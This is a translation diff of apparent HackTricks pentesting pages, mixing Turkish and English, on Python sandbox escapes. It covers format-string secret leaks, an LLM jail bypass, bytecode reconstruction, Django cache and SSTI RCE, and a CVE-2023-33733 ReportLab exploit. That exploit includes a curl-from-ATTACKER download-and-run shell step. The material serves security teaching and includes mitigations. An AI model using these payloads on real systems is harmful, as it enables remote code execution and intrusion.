'HAL 9000' '{:open-the-pod-bay-doors}'.format(HAL9000()) #I'm afraid I can't do that. ``` -**Daha fazla örnek** için **format** **string** örnekleri şu adreste bulunabilir: [**https://pyformat.info/**](https://pyformat.info) +**Daha fazla örnek** için **format** **string** örneklerine [**https://pyformat.info/**](https://pyformat.info) üzerinden ulaşabilirsiniz > [!CAUTION] -> Ayrıca aşağıdaki sayfayı, r**ead sensitive information from Python internal objects** yapan gadgets için de kontrol edin: +> Aşağıdaki sayfayı ayrıca, r**ead sensitive information from Python internal objects** gibi gadget'lar için kontrol edin: {{#ref}} ../python-internal-read-gadgets.md {{#endref}} -### Hassas Bilgi Açığa Çıkarma Payload'ları +### Hassas Bilgi Açığa Çıkarma Payloads ```python {whoami.__class__.__dict__} {whoami.__globals__[os].__dict__} @@ -743,20 +739,20 @@ str(x) # Out: clueless ``` ### LLM Jails bypass -From [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')` +Buradan [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')` ### From format to RCE loading libraries -[**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) göre, python'daki format string zafiyetini suistimal ederek diskten rastgele kütüphaneler yüklemek mümkün. +According to the [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) it's possible to load arbitrary libraries from disk abusing the format string vulnerability in python. -Hatırlatma olarak, python'da her işlem yapıldığında bazı fonksiyonlar çalıştırılır. Örneğin `2*3` şu fonksiyonu çalıştırır: **`(2).mul(3)`** veya **`{'a':'b'}['a']`** şu şekilde çalışır: **`{'a':'b'}.__getitem__('a')`**. +Hatırlatma olarak, python'da her bir işlem yapıldığında bir fonksiyon çalıştırılır. Örneğin `2*3` çalıştırıldığında **`(2).mul(3)`** çalışır veya **`{'a':'b'}['a']`** aslında **`{'a':'b'}.__getitem__('a')`** çağrısıdır. -Bunun gibi daha fazla örneğe [**Python execution without calls**](#python-execution-without-calls) bölümünde ulaşabilirsiniz. +Bunun gibi daha fazlasını [**Python execution without calls**](#python-execution-without-calls) bölümünde bulabilirsiniz. -Bir python format string zafiyeti fonksiyon çalıştırmaya izin vermez (parantez kullanmaya izin vermez), bu yüzden `'{0.system("/bin/sh")}'.format(os)`.\ -gibi bir RCE elde etmek mümkün değildir. Ancak `[]` kullanmak mümkündür. Bu nedenle, yaygın bir python kütüphanesinin rastgele kod çalıştıran bir **`__getitem__`** veya **`__getattr__`** metoduna sahipse, bunlar suistimal edilerek RCE elde etmek mümkündür. +Bir python format string vuln fonksiyon çalıştırmaya izin vermez (parantez kullanımına izin vermez), bu yüzden `'{0.system("/bin/sh")}'.format(os)` gibi doğrudan RCE almak mümkün değildir.\ +Ancak `[]` kullanılabilir. Dolayısıyla, eğer yaygın bir python kütüphanesinde rastgele kod çalıştıran bir **`__getitem__`** veya **`__getattr__`** metodu varsa, bunlar kötüye kullanılarak RCE elde etmek mümkün olabilir. -python'da böyle bir gadget ararken, writeup şu [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code) öneriyor. Orada şu [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463) bulundu: +python'da böyle bir gadget ararken, writeup şu [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code) sorgusunu öneriyor. Orada şu [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463)'ı buldu: ```python class LibraryLoader(object): def __init__(self, dlltype): @@ -778,20 +774,20 @@ return getattr(self, name) cdll = LibraryLoader(CDLL) pydll = LibraryLoader(PyDLL) ``` -Bu gadget diskten **kütüphane yüklemeye** izin verir. Bu nedenle, yüklenecek kütüphaneyi hedef sunucuya doğru şekilde derlenmiş olarak **yazmak veya yüklemek** gerekir. +Bu gadget, **diskten bir kütüphaneyi yüklemeye** izin verir. Bu nedenle, kütüphaneyi hedef sunucuya doğru şekilde derlenmiş olarak bir şekilde **yazmak veya yüklemek** gerekir. ```python '{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}' ``` -Bu challenge aslında sunucunun diskine rastgele dosyalar oluşturulmasına izin veren başka bir zafiyeti suistimal ediyor. +The challenge actually abuses another vulnerability in the server that allows to create arbitrary files in the servers disk. ## Python Nesnelerinin İncelenmesi > [!TIP] -> Eğer **python bytecode** hakkında derinlemesine **öğrenmek** istiyorsanız, konuyla ilgili bu **harika** yazıyı okuyun: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d) +> Eğer **python bytecode** hakkında derinlemesine **öğrenmek** istiyorsanız, konuyla ilgili şu **harika** yazıyı okuyun: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d) -Bazı CTF'lerde **custom function where the flag** adını alabilirsiniz ve flag'i çıkarmak için **function**'ın **internals**'ını görmeniz gerekir. +Bazı CTFslerde size **custom function where the flag** adını verebilirler ve flag'i çıkarmak için **function**'ın **internals**'ını görmeniz gerekebilir. -İncelenecek function şudur: +İncelenecek function: ```python def get_flag(some_input): var1=1 @@ -811,7 +807,7 @@ dir(get_flag) #Get info tof the function ``` #### globals -`__globals__` and `func_globals` (Aynı) global ortamı elde eder. Örnekte bazı import edilmiş modülleri, bazı global değişkenleri ve bunların içeriklerini görebilirsiniz: +`__globals__` ve `func_globals` (aynı) global ortamı elde eder. Örnekte bazı import edilmiş modüller, bazı global değişkenler ve bunların içerikleri gösterilmektedir: ```python get_flag.func_globals get_flag.__globals__ @@ -824,7 +820,7 @@ CustomClassObject.__class__.__init__.__globals__ ### **Fonksiyon koduna erişim** -**`__code__`** ve `func_code`: Bu fonksiyonun bu **özelliğine** **erişerek** fonksiyonun **kod nesnesini** elde edebilirsiniz. +**`__code__`** and `func_code`: Fonksiyonun bu **özelliğine** **erişerek**, fonksiyonun **code object**'unu **elde edebilirsiniz**. ```python # In our current example get_flag.__code__ @@ -838,7 +834,7 @@ compile("print(5)", "", "single") dir(get_flag.__code__) ['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames'] ``` -### Kod Bilgisi Alma +### Kod Bilgisi Edinme ```python # Another example s = ''' @@ -884,7 +880,7 @@ get_flag.__code__.co_freevars get_flag.__code__.co_code 'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S' ``` -### **Bir function'ı disassembly etmek** +### **Bir fonksiyonun Disassembly'si** ```python import dis dis.dis(get_flag) @@ -912,7 +908,7 @@ dis.dis(get_flag) 44 LOAD_CONST 0 (None) 47 RETURN_VALUE ``` -Unutmayın ki **eğer python sandbox'ta `dis` modülünü import edemiyorsanız** fonksiyonun **bytecode**'unu (`get_flag.func_code.co_code`) elde edip yerel olarak **disassemble** edebilirsiniz. Yüklenen değişkenlerin içeriğini (`LOAD_CONST`) göremezsiniz ama onları (`get_flag.func_code.co_consts`)'dan tahmin edebilirsiniz çünkü `LOAD_CONST` ayrıca yüklenen değişkenin offset'ini söyler. +Unutmayın ki **if you cannot import `dis` in the python sandbox** fonksiyonun **bytecode**'unu (`get_flag.func_code.co_code`) alıp bunu yerel olarak **disassemble** edebilirsiniz. Yüklenen değişkenlerin içeriğini (`LOAD_CONST`) göremezsiniz ama `LOAD_CONST` ayrıca yüklenen değişkenin offset'ini söylediği için bunları (`get_flag.func_code.co_consts`) üzerinden tahmin edebilirsiniz. ```python dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S') 0 LOAD_CONST 1 (1) @@ -934,10 +930,10 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0 44 LOAD_CONST 0 (0) 47 RETURN_VALUE ``` -## Python'ı Derleme +## Python'u Derleme -Şimdi, bir şekilde **dump edilen ve çalıştıramadığınız bir fonksiyona ait bilgileri** elde edebildiğinizi ama onu **çalıştırmanız** **gerekiyor** hayal edelim.\ -Aşağıdaki örnekte olduğu gibi, o fonksiyonun **code object**'ına erişebilirsiniz, fakat sadece **disassemble**'ı okuyarak **flag**'i nasıl hesaplayacağınızı bilemezsiniz (_daha karmaşık bir `calc_flag` fonksiyonunu hayal edin_) +Şimdi, bir şekilde **çalıştıramadığınız bir fonksiyon hakkında bilgileri dump edebildiğinizi**, ama onu **çalıştırmanız** **gerektiğini** hayal edelim.\ +Aşağıdaki örnekte olduğu gibi, o fonksiyonun **code object**'ine erişebilirsiniz, ancak sadece disassemble'ı okuyarak **flag**'i nasıl hesaplayacağınızı bilemezsiniz (_daha karmaşık bir `calc_flag` fonksiyonunu hayal edin_). ```python def get_flag(some_input): var1=1 @@ -950,9 +946,9 @@ return calc_flag("VjkuKuVjgHnci") else: return "Nope" ``` -### Code object oluşturma +### code object'u oluşturma -Her şeyden önce, **bir code object'i nasıl oluşturup çalıştıracağımızı** bilmemiz gerekiyor; böylece leaked olan fonksiyonumuzu çalıştırmak için bir tane oluşturabiliriz: +Öncelikle, **code object'u nasıl oluşturup çalıştıracağımızı** bilmemiz gerekiyor, böylece leaked function'ımızı çalıştırmak için bir tane oluşturabiliriz: ```python code_type = type((lambda: None).__code__) # Check the following hint if you get an error in calling this @@ -972,7 +968,7 @@ mydict['__builtins__'] = __builtins__ function_type(code_obj, mydict, None, None, None)("secretcode") ``` > [!TIP] -> python sürümüne bağlı olarak `code_type`'ın **parametreleri** farklı bir **sıraya** sahip olabilir. Kullandığınız python sürümündeki parametrelerin sırasını öğrenmenin en iyi yolu şudur: +> Python sürümüne bağlı olarak `code_type`'ın **parametreleri** farklı bir **sıraya** sahip olabilir. Kullandığınız python sürümündeki parametrelerin sırasını öğrenmenin en iyi yolu şu komutu çalıştırmaktır: > > ``` > import types @@ -983,7 +979,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode") ### Bir leaked function'ı yeniden oluşturma > [!WARNING] -> Aşağıdaki örnekte, function'ı yeniden oluşturmak için gereken tüm verileri function code object'undan doğrudan alacağız. Bir **gerçek örnekte**, function **`code_type`**'ı çalıştırmak için gerekli tüm **değerler** leak etmeniz gerekenlerdir. +> Aşağıdaki örnekte, fonksiyonu yeniden oluşturmak için gereken tüm verileri doğrudan function code object'tan alacağız. Bir **gerçek örnekte**, fonksiyonu çalıştırmak için gerekli tüm **değerler** ve **`code_type`**, **leak etmeniz gerekenlerdir**. ```python fc = get_flag.__code__ # In a real situation the values like fc.co_argcount are the ones you need to leak @@ -994,12 +990,12 @@ mydict['__builtins__'] = __builtins__ function_type(code_obj, mydict, None, None, None)("secretcode") #ThisIsTheFlag ``` -### Savunmaları Atlatma +### Savunmaları Aş -Bu yazının başındaki önceki örneklerde, **`compile` fonksiyonunu kullanarak herhangi bir python kodunun nasıl çalıştırılacağını** görebilirsiniz. Bu ilginçtir çünkü döngüler ve diğer her şeyle birlikte **tüm scriptleri** bir **tek satırda** çalıştırabilirsiniz (aynı şeyi **`exec`** kullanarak da yapabiliriz).\ -Her neyse, bazen yerel bir makinede bir **compiled object** oluşturup bunu **CTF machine** üzerinde çalıştırmak faydalı olabilir (örneğin CTF'de `compiled` fonksiyonu olmadığı için). +Bu yazının başındaki önceki örneklerde, `compile` fonksiyonunu kullanarak herhangi bir python kodunun **nasıl çalıştırılabileceğini** görebilirsiniz. Bu ilginç çünkü döngüler ve her şeyle birlikte tüm scriptleri bir **tek satırda** çalıştırabilirsiniz (ve aynı şeyi **`exec`** kullanarak da yapabiliriz).\ +Her neyse, bazen yerel bir makinede bir **compiled object** **oluşturmak** ve bunu **CTF machine** üzerinde çalıştırmak faydalı olabilir (örneğin CTF'de `compiled` fonksiyonuna sahip olmadığımız için). -Örneğin, _./poc.py_'yi okuyan bir fonksiyonu manuel olarak compile edip çalıştıralım: +Örneğin, _./poc.py_ dosyasını okuyan bir fonksiyonu manuel olarak compile edip çalıştıralım: ```python #Locally def read(): @@ -1026,7 +1022,7 @@ mydict['__builtins__'] = __builtins__ codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '', 1, '', (), ()) function_type(codeobj, mydict, None, None, None)() ``` -Eğer `eval` veya `exec`'e erişemiyorsanız **uygun bir fonksiyon** oluşturabilirsiniz, ancak doğrudan çağırmak genellikle şu hatayla başarısız olur: _constructor kısıtlı modda erişilebilir değil_. Bu yüzden bu fonksiyonu çağırmak için **kısıtlı ortamın dışında bir fonksiyon** gerekir. +Eğer `eval` veya `exec`'e erişiminiz yoksa bir **proper function** oluşturabilirsiniz, ancak doğrudan çağırmak genellikle şu hatayla başarısız olur: _constructor not accessible in restricted mode_. Bu yüzden bu function'ı çağırmak için kısıtlı ortamın dışında bir **function** gerekir. ```python #Compile a regular print ftype = type(lambda: None) @@ -1034,11 +1030,11 @@ ctype = type((lambda: None).func_code) f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {}) f(42) ``` -## Derlenmiş Python Dekomplasyonu +## Derlenmiş Python'un dekompilasyonu [**https://www.decompiler.com/**](https://www.decompiler.com) gibi araçlar kullanılarak verilen derlenmiş python kodu **decompile** edilebilir. -**Bu eğitime göz atın**: +**Bu öğreticiye göz atın**: {{#ref}} @@ -1049,8 +1045,8 @@ f(42) ### Assert -Parametresi `-O` ile optimizasyonlar etkinleştirilmiş olarak çalıştırılan Python, assert statements ve **debug** değerine bağlı tüm koşullu kodu kaldırır.\ -Bu nedenle, şu tür kontroller: +`-O` parametresiyle optimizasyonlarla çalıştırılan Python, asset statements ve **debug** değerine bağlı olan herhangi bir kodu kaldırır.\ +Bu nedenle, şu tür kontroller ```python def check_permission(super_user): try: @@ -1059,7 +1055,7 @@ print("\nYou are a super user\n") except AssertionError: print(f"\nNot a Super User!!!\n") ``` -atlatılacaktır +bypass edilecek ## Referanslar diff --git a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md index 63406bc5d..c8ef9f2d2 100644 --- a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md +++ b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md @@ -2,78 +2,78 @@ {{#include ../../../banners/hacktricks-training.md}} -Bu sayfa, ReportLab’in xhtml2pdf ve diğer PDF oluşturma boru hatlarında kullanıcı kontrollü HTML’i PDF’e renderlarken kullanılan rl_safe_eval içinde pratik bir sandbox kaçışı ve RCE ilkelini belgelendirir. +This page documents a practical sandbox escape and RCE primitive in ReportLab’s rl_safe_eval used by xhtml2pdf and other PDF-generation pipelines when rendering user-controlled HTML into PDFs. -CVE-2023-33733, ReportLab sürümlerini 3.6.12 dahil olmak üzere etkiler. Belirli öznitelik bağlamlarında (örneğin color) triple brackets [[[ ... ]]] ile sarılmış değerler rl_safe_eval tarafından sunucu tarafında değerlendirilir. Bir payload ile beyaz listede olan bir builtin (pow) üzerinden Python fonksiyonunun globals’ına pivot yapılarak, saldırgan os modülüne ulaşabilir ve komut çalıştırabilir. +CVE-2023-33733 affects ReportLab versions up to and including 3.6.12. In certain attribute contexts (for example color), values wrapped in triple brackets [[[ ... ]]] are evaluated server-side by rl_safe_eval. By crafting a payload that pivots from a whitelisted builtin (pow) to its Python function globals, an attacker can reach the os module and execute commands. -Temel noktalar -- Tetikleme: ReportLab/xhtml2pdf tarafından parse edilen işaretlemede gibi değerlendirilen özniteliklere [[[ ... ]]] enjekte edin. -- Sandbox: rl_safe_eval tehlikeli builtinsleri değiştirir ancak değerlendirilen fonksiyonlar hâlâ __globals__’ı açığa çıkarır. -- Bypass: rl_safe_eval isim kontrollerini atlatmak ve bloke edilmiş dunder filtresinden kaçınarak "__globals__" stringine erişmek için geçici bir Word sınıfı oluşturun. +Ana noktalar +- Trigger: inject [[[ ... ]]] into evaluated attributes such as within markup parsed by ReportLab/xhtml2pdf. +- Sandbox: rl_safe_eval replaces dangerous builtins but evaluated functions still expose __globals__. +- Bypass: craft a transient class Word to bypass rl_safe_eval name checks and access the string "__globals__" while avoiding blocked dunder filtering. - RCE: getattr(pow, Word("__globals__"))["os"].system("") -- Stabilite: Çalıştırmadan sonra özniteliğe geçerli bir değer döndürün (color için 'red' kullanın). +- Stability: Return a valid value for the attribute after execution (for color, use and 'red'). Ne zaman test edilmeli -- HTML-to-PDF ihracı (profil, fatura, raporlar) sunan ve PDF meta verilerinde veya HTTP yanıt yorumlarında xhtml2pdf/ReportLab gösteren uygulamalar. +- HTML-to-PDF dışa aktarma (profiller, faturalar, raporlar) sunan ve PDF metadata veya HTTP yanıt yorumlarında xhtml2pdf/ReportLab gösteren uygulamalar. - exiftool profile.pdf | egrep 'Producer|Title|Creator' → "xhtml2pdf" producer - PDF için HTTP yanıtı genellikle bir ReportLab generator yorumu ile başlar -Sandbox bypass nasıl çalışır -- rl_safe_eval birçok builtin’i kaldırır veya değiştirir (getattr, type, pow, ...) ve __ ile başlayan veya bir denylist’te olan isimleri reddetmek için isim filtresi uygular. +Sandbox atlatması nasıl çalışır +- rl_safe_eval birçok builtin'i (getattr, type, pow, ...) kaldırır veya değiştirir ve __ ile başlayan veya denylist'te olan adları reddetmek için isim filtrelemesi uygular. - Ancak, güvenli fonksiyonlar func.__globals__ olarak erişilebilen bir globals sözlüğünde yaşar. -- Gerçek builtin type fonksiyonunu kurtarmak için type(type(1)) kullanın (ReportLab’ın sarmalayıcısını atlayarak), sonra karşılaştırma davranışı değiştirilmiş bir str türevi Word sınıfı tanımlayın, böylece: - - .startswith('__') → her zaman False döner (startswith('__') kontrolünü atlatır) - - .__eq__ ilk karşılaştırmada False döner (denylist üyelik kontrollerini atlatır) ve sonrasında True döner (böylece Python getattr çalışır) - - .__hash__ hash(str(self)) ile eşittir -- Bununla, getattr(pow, Word('__globals__')) sarmalanmış pow fonksiyonunun globals sözlüğünü döndürür; bu sözlük içe aktarılmış bir os modülünü içerir. Ardından: ['os'].system(''). +- Gerçek builtin type fonksiyonunu kurtarmak için type(type(1)) kullanın (ReportLab’ın wrapper'ını atlatır), sonra karşılaştırma davranışı değiştirilmiş bir str türevi Word sınıfı tanımlayın, böylece: +- .startswith('__') → her zaman False döner (startswith('__') kontrolünü atlatır) +- .__eq__ ilk karşılaştırmada False döner (denylist üyelik kontrollerini atlatır) ve sonrasında True döner (böylece Python getattr çalışır) +- .__hash__ hash(str(self)) ile eşittir +- Böylece getattr(pow, Word('__globals__')) sarmalanmış pow fonksiyonunun globals sözlüğünü döndürür; bu sözlük import edilmiş bir os modülünü içerir. Ardından: ['os'].system(''). -Minimal sömürü deseni (öznitelik örneği) -Payload’u değerlendirilen bir özniteliğin içine yerleştirin ve boolean ve 'red' ile özniteliğe geçerli bir değer döndüğünden emin olun. +Minimal exploitation pattern (attribute example) +Place payload inside an evaluated attribute and ensure it returns a valid attribute value via boolean and 'red'. exploit -- Liste-anlama formu rl_safe_eval için kabul edilebilir tek ifadeye izin verir. -- Sonundaki and 'red' bir geçerli CSS rengi döndürür böylece render bozulmaz. -- Komutu gerektiği gibi değiştirin; tcpdump ile çalıştırmayı doğrulamak için ping kullanın. +- Liste-üretim (list-comprehension) formu rl_safe_eval için kabul edilebilir tek bir ifade sağlar. +- Sondaki and 'red' geçerli bir CSS rengi döndürür, böylece render işlemi bozulmaz. +- Komutu gerektiği şekilde değiştirin; çalıştığını doğrulamak için ping kullanın ve tcpdump ile izleyin. Operasyonel iş akışı -1) PDF üreteciyi tespit edin -- PDF Producer xhtml2pdf gösterir; HTTP yanıtı ReportLab yorumunu içerir. -2) PDF’e yansıtılan bir girdi bulun (ör. profil bio/açıklama) ve bir ihracı tetikleyin. +1) PDF oluşturucuyu belirleyin +- PDF Producer xhtml2pdf gösterir; HTTP yanıtı ReportLab yorumu içerir. +2) PDF'ye yansıtılan bir girdi bulun (ör. profil bio/açıklama) ve bir dışa aktarma tetikleyin. 3) Düşük gürültülü ICMP ile yürütmeyi doğrulayın - Çalıştırın: sudo tcpdump -ni icmp - Payload: ... system('ping ') ... - Windows genellikle varsayılan olarak tam olarak dört echo isteği gönderir. 4) Bir shell kurun -- Windows için, alıntılama/kodlama sorunlarını önlemek üzere güvenilir bir iki aşamalı yaklaşım: -- Aşama 1 (indirme): +- Windows için, güvenilir bir iki aşamalı yaklaşım alıntılama/kodlama sorunlarından kaçınır: +- Aşama 1 (indir): exploit -- Aşama 2 (çalıştırma): +- Aşama 2 (çalıştır): exploit -- Linux hedefler için curl/wget ile benzer iki aşamalı bir yöntem mümkündür: +- Linux hedefleri için benzer curl/wget iki aşamalı yöntem mümkündür: - system('curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s') Notlar ve ipuçları -- Öznitelik bağlamları: color bilinen değerlendirilen bir özniteliktir; ReportLab işaretlemesindeki diğer öznitelikler de ifadeleri değerlendirebilir. Bir yer temizlenmişse, PDF akışına render edilen diğer yerlere (farklı alanlar, tablo stilleri, vb.) bakın. -- Alıntılama: Komutları kompakt tutun. İki aşamalı indirmeler alıntılama ve kaçış baş ağrılarını önemli ölçüde azaltır. -- Güvenilirlik: Eğer ihracatlar önbelleklenecek veya sıraya alınacaksa, önbelleğe çarpmamak için payload’u hafifçe değiştirin (ör. rastgele yol veya sorgu). +- Attribute context'leri: color bilinen bir değerlendirme yapılan attribute'tür; ReportLab işaretlemesindeki diğer attribute'ler de ifadeleri değerlendirebilir. Bir yer sanitize ediliyorsa, PDF akışına render edilen diğer yerlere (farklı alanlar, tablo stilleri vb.) bakın. +- Alıntılama: Komutları kompakt tutun. İki aşamalı indirmeler alıntılama ve kaçış sorunlarını büyük ölçüde azaltır. +- Güvenilirlik: Eğer dışa aktarmalar önbelleğe alınıyor veya kuyruğa alınıyorsa, önbelleğe takılmamak için payload'u biraz değiştirin (ör. rastgele yol veya sorgu). Önlemler ve tespit -- ReportLab’i 3.6.13 veya daha yeni sürüme güncelleyin (CVE-2023-33733 düzeltildi). Dağıtım paketlerindeki güvenlik duyurularını da takip edin. -- Kullanıcı kontrollü HTML/işaretlemeyi xhtml2pdf/ReportLab’e doğrudan vermeyin; katı sanitizasyon uygulayın. Güvenilmez giriş geldiğinde [[[...]]] değerlendirme yapıları ve vendor-spesifik etiketleri kaldırın/engelleyin. +- ReportLab'i 3.6.13 veya daha yeni bir sürüme güncelleyin (CVE-2023-33733 düzeltildi). Dağıtım paketlerindeki güvenlik duyurularını da takip edin. +- Kullanıcı kontrollü HTML/işaretlemeyi xhtml2pdf/ReportLab'e doğrudan ve sıkı sanitizasyon olmadan vermeyin. Kullanıcı girişleri güvensizse [[[...]]] değerlendirme yapısını ve vendor-spesifik tag'leri kaldırın/engelleyin. - Untrusted girdiler için rl_safe_eval kullanımını tamamen devre dışı bırakmayı veya sarmalamayı düşünün. -- PDF oluşturma sırasında şüpheli giden bağlantıları izleyin (ör. belge ihracı yapılırken uygulama sunucularından giden ICMP/HTTP). +- PDF oluşturma sırasında şüpheli çıkış bağlantılarını (ör. uygulama sunucularından dışa doğru ICMP/HTTP) izleyin. -Referanslar -- PoC ve teknik analiz: [c53elyas/CVE-2023-33733](https://github.com/c53elyas/CVE-2023-33733) -- 0xdf University HTB write-up (gerçek dünya sömürüsü, Windows iki aşamalı payloadlar): [HTB: University](https://0xdf.gitlab.io/2025/08/09/htb-university.html) -- NVD girdisi (etkilenen sürümler): [CVE-2023-33733](https://nvd.nist.gov/vuln/detail/cve-2023-33733) -- xhtml2pdf docs (işaretleme/sayfa kavramları): [xhtml2pdf docs](https://xhtml2pdf.readthedocs.io/en/latest/format_html.html) +References +- PoC and technical analysis: [c53elyas/CVE-2023-33733](https://github.com/c53elyas/CVE-2023-33733) +- 0xdf University HTB write-up (real-world exploitation, Windows two-stage payloads): [HTB: University](https://0xdf.gitlab.io/2025/08/09/htb-university.html) +- NVD entry (affected versions): [CVE-2023-33733](https://nvd.nist.gov/vuln/detail/cve-2023-33733) +- xhtml2pdf docs (markup/page concepts): [xhtml2pdf docs](https://xhtml2pdf.readthedocs.io/en/latest/format_html.html) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/django.md b/src/network-services-pentesting/pentesting-web/django.md index 3ac11b0c4..8903172ee 100644 --- a/src/network-services-pentesting/pentesting-web/django.md +++ b/src/network-services-pentesting/pentesting-web/django.md @@ -2,43 +2,43 @@ {{#include ../../banners/hacktricks-training.md}} -## Önbellek Manipülasyonu ile RCE -Django'nun varsayılan cache depolama yöntemi [Python pickles](https://docs.python.org/3/library/pickle.html) olup, [untrusted input is unpickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf) durumunda RCE'ye yol açabilir. **Eğer bir saldırgan cache'e yazma erişimi elde ederse, bu zafiyeti alttaki sunucuda RCE'ye yükseltebilirler**. +## Cache Manipulation to RCE +Django's default cache storage method is [Python pickles](https://docs.python.org/3/library/pickle.html), which can lead to RCE if [untrusted input is unpickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Bir saldırgan cache'e yazma erişimi elde edebilirse, bu zafiyeti altta yatan sunucuda RCE'ye yükseltebilir.** -Django cache, dört yerden birinde saklanır: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memory](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [files](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), veya bir [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Redis sunucusunda veya veritabanında saklanan cache'ler en olası saldırı vektörleridir (Redis injection ve SQL injection), ancak bir saldırgan dosya tabanlı cache'i de keyfi bir yazmayı RCE'ye dönüştürmek için kullanabilir. Bakımcılar bunu önemsiz bir sorun olarak işaretlemişlerdir. Önemli olan, cache dosyası klasörü, SQL tablo adı ve Redis sunucu ayrıntılarının uygulamaya göre değişeceğidir. +Django cache is stored in one of four places: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memory](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [files](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), or a [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Redis sunucusunda veya veritabanında saklanan cache'ler en olası saldırı vektörleridir (Redis injection ve SQL injection), ancak bir saldırgan dosya tabanlı cache'i kullanarak rastgele bir yazmayı RCE'ye dönüştürebilir. Bakımcılar bunu non-issue olarak işaretlemişlerdir. Cache dosya klasörü, SQL tablo adı ve Redis sunucu detaylarının uygulamaya göre değişeceğini not etmek önemlidir. -Bu HackerOne raporu, SQLite veritabanında saklanan Django cache'inin sömürülebilmesine dair harika ve tekrar üretilebilir bir örnek sunuyor: https://hackerone.com/reports/1415436 +This HackerOne report provides a great, reproducible example of exploiting Django cache stored in a SQLite database: https://hackerone.com/reports/1415436 --- ## Server-Side Template Injection (SSTI) -The Django Template Language (DTL) **Turing-complete**'dir. Eğer kullanıcı kaynaklı veri bir *template string* olarak render edilirse (örneğin `Template(user_input).render()` çağrılarak veya `|safe`/`format_html()` otomatik kaçış(escaping)i kaldırdığında), bir saldırgan tam SSTI → RCE elde edebilir. +The Django Template Language (DTL) is **Turing-complete**. If user-supplied data is rendered as a *template string* (for example by calling `Template(user_input).render()` or when `|safe`/`format_html()` removes auto-escaping), an attacker may achieve full SSTI → RCE. -### Tespit -1. `Template()` / `Engine.from_string()` / `render_to_string()` gibi çağrılarda *herhangi bir* temizlenmemiş istek verisinin dahil edilip edilmediğine bakın. -2. Zamana dayalı veya aritmetik bir payload gönderin: +### Detection +1. Dinamik `Template()` / `Engine.from_string()` / `render_to_string()` çağrılarını, *herhangi bir* temizlenmemiş istek verisi içerip içermediği açısından kontrol edin. +2. Zaman tabanlı veya aritmetik bir payload gönderin: ```django {{7*7}} ``` -Eğer render edilen çıktı `49` içeriyorsa, girdi şablon motoru tarafından derlenmiştir. +Eğer render edilen 